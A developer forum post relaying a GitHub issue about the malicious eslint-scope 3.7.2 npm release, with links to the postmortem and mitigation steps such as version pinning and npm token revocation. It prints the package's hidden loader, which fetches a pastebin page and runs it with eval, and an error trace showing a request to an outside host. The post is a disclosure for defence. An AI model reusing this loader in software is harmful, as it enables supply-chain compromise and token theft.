Virus in eslint-scope 3.7.2

#javascript #security #news #discuss

I came across this issue and figured I shared it here.

Virus in eslint-scope? #39

pronebird posted on Jul 12, 2018

Updated blog post: https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes

Update from the maintainers

Incident status report from npm

Please follow the comment by @platinumazure that gives a little insight into what happened: https://github.com/eslint/eslint-scope/issues/39#issuecomment-404533026

It also appears that the same code was published in eslint-config-eslint@5.0.2, which has also since been unpublished. See https://github.com/eslint/eslint/issues/10600 for more information.

In the meantime

Pin the version of eslint-scope to 3.7.1, one way is to add the resolutions to your package.json

  "resolutions": {
    "eslint-scope": "3.7.1"
  }

Verify the dependency version with yarn list eslint-scope. It should print out eslint-scope@3.7.1

Use package-lock.json or yarn.lock and have it in your repo if possible. Do not upgrade to 3.7.2 even if yarn outdated shows that there is a new version available.
Revoke your NPM token as suggested in the comment below https://github.com/eslint/eslint-scope/issues/39#issuecomment-404496856. You can do the same by logging in to https://www.npmjs.com/, selecting the "tokens" menu from the account dropdown and removing all tokens listed on the page. Make sure to recreate the relevant tokens if you hook your NPM to external services.

The issue

I don't know what the hell this is but it looks like a virus to me:

[2/3] ⠠ eslint-scope
error /Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope: Command failed.
Exit code: 1
Command: node ./lib/build.js
Arguments: 
Directory: /Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope
Output:
undefined:30
      https1.get({hostname:'sstatic1.histats.com',path:'/0.gif?4103075&101',method:'GET',headers:{Referer:'http://1.a/'+conten
                                                                                                                        ^^^^^^

SyntaxError: Unexpected end of input
    at IncomingMessage.r.on (/Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope/lib/build.js:6:10)
    at emitOne (events.js:116:13)
    at IncomingMessage.emit (events.js:211:7)
    at IncomingMessage.Readable.read (_stream_readable.js:475:10)
    at flow (_stream_readable.js:846:34)
    at resume_ (_stream_readable.js:828:3)
    at _combinedTickCallback (internal/process/next_tick.js:138:11)

The contents of a suspicious file:

try{
    var https=require('https');
    https.get({'hostname':'pastebin.com',path:'/raw/XLeVP82h',headers:{'User-Agent':'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',Accept:'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'}},(r)=>{
    r.setEncoding('utf8');
    r.on('data',(c)=>{
    eval(c);
    });
    r.on('error',()=>{});
    
    }).on('error',()=>{});
    }catch(e){}